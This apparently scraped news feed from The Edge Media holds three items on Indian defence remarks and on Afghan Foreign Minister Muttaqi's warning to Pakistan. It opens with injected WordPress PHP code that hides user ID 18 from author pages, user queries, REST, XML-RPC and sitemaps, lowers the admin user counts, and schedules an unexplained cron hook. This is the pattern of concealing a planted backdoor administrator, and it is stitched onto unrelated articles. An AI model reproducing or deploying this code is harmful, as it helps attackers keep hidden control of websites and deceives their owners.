add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post India Must Shift from Reaction to Preparedness, Says Defence Minister Rajnath Singh appeared first on The Edge Media.
]]>
Singh noted that the country is stepping into, what he described as a promising phase for defence innovation. He emphasised the need for the defence ecosystem to expand with greater ambition, speed, and scale. He encouraged private companies to pursue a profit-plus mindset, advising them to consider national priorities and the desire to contribute to the country alongside traditional business gains.
According to the minister, the progress of innovators directly strengthens India’s security and advances the nation’s goal of self-reliance in defence. The event was attended by Chief of Defence Staff General Anil Chauhan, Navy Chief Admiral Dinesh K Tripathi, senior military officials, DRDO Chairman Samir V Kamat, as well as several specialists and innovators from the defence sector.
Prior to his speech, Singh visited the exhibition area and interacted with participants showcasing their work. Since its inception in 2022, the Swavlamban event has evolved into a national forum where startups and MSMEs present solutions created in response to challenges outlined by the armed forces to meet operational needs.
The post India Must Shift from Reaction to Preparedness, Says Defence Minister Rajnath Singh appeared first on The Edge Media.
]]>The post Indian Army Chief Observes Ukraine Conflict as a Living Laboratory for Modern Warfare appeared first on The Edge Media.
]]>
Speaking at the Delhi Defence Dialogue 2025, he explained that the future of warfare is defined by competition and continuous challenges rather than prolonged peace. According to him, the world is witnessing the decline of extended peace periods and the rise of multifaceted conflicts driven by rapid technological advancements.
General Dwivedi pointed out that technology has become a central element in modern warfare and can be applied across various operational areas. He mentioned that more than fifty conflicts are currently active around the world involving over one hundred nations, highlighting the growing instability across regions.
The Army Chief further elaborated that the Ukraine battlefield offers valuable lessons for India’s defense strategy. He described how drones are targeting armored vehicles, electronic warfare systems are disrupting communications, and precision strikes are capable of reaching well beyond one hundred kilometers. He also noted that information campaigns have the power to shape outcomes before any physical confrontation begins.
The post Indian Army Chief Observes Ukraine Conflict as a Living Laboratory for Modern Warfare appeared first on The Edge Media.
]]>The post Afghan Foreign Minister Muttaqi Warns Pakistan, Reaffirms Commitment to Peace but Signals ‘Other Options’ appeared first on The Edge Media.
]]>Muttaqi confirmed that the Afghan side has agreed to a temporary ceasefire, which was brokered through the mediation of Qatar and Saudi Arabia. However, he delivered a sharp warning: “If Pakistan does not want peace, Afghanistan has other options available.”
The Afghan Foreign Minister held a press conference at the Afghan Embassy in New Delhi today—his second during this visit. The event was notable for addressing a controversy from his previous briefing.
In a significant move following a dispute over the exclusion of women reporters from his earlier press conference, Amir Khan Muttaqi took steps to ensure full inclusion. Today’s press conference saw female journalists seated in the front rows.
The Taliban-led government’s Foreign Minister used the opportunity to address the controversy directly, clarifying that no female journalist had been deliberately barred from the previous briefing. He fielded questions from journalists on various subjects and provided a detailed explanation regarding the matter of press access.
Focusing on the growing friction with Pakistan, Amir Khan Muttaqi stated that while the majority of Pakistan’s population and many politicians desire good relations with Afghanistan, “certain elements are attempting to spoil the atmosphere.”
He underscored the historical difficulty of controlling the border region, referencing the 2,400-kilometer-long, challenging Durand Line. Muttaqi asserted that history proves the futility of military intervention in controlling this boundary: “Neither Genghis Khan, nor the British, nor the Americans were able to control the rugged Durand Line through the use of force.”
Muttaqi’s remarks highlight a precarious diplomatic situation, signaling Afghanistan’s intent to uphold its sovereignty while opening the door for future escalations should mediated peace talks fail.
The post Afghan Foreign Minister Muttaqi Warns Pakistan, Reaffirms Commitment to Peace but Signals ‘Other Options’ appeared first on The Edge Media.
]]>